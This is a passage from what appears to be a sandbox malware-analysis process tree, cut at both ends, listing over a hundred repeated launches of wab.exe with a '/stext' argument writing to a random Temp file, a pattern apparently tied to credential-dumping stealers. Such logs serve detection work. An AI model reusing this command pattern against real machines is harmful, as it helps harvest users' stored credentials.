        
        PID:7092
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7100
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7108
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7116
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7124
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7132
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7140
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7148
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7156
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7164
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6428
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7176
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7184
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7192
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7200
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7208
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7216
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7224
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7232
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7240
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7248
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7256
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7264
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7272
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7280
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7288
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7296
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7304
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7312
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7320
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7328
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7336
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7344
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7352
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7360
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7368
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7376
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7384
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7392
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7400
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7408
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7416
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7424
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7432
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7440
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7448
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7456
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7464
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7472
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7480
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7488
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7496
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7504
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7512
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7520
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7528
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7536
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7544
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7552
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7560
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7568
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7576
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7584
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7592
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7600
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7608
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7616
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7624
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7632
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7640
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7648
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7656
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7664
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7672
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7680
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7688
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7696
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7704
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7712
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7720
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7728
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7736
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7744
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7752
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7760
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7768
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7776
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7784
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7792
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7800
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7808
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7816
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7824
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7832
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7840
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7848
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7856
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7864
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7872
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7880
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7888
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7896
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7904
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7912
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7920
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7928
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7936
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7944
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7952
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7960
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7968
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7976
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7984
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7992
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8000
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8008
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8016
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8024
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8032
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8040
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8048
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8056
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8064
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8072
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8080
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8088
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8096
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8104
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8112
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8120
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8128
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8136
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8144
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8152
    - - C:\Program Files (x86)\windows mail\wab.exe
        
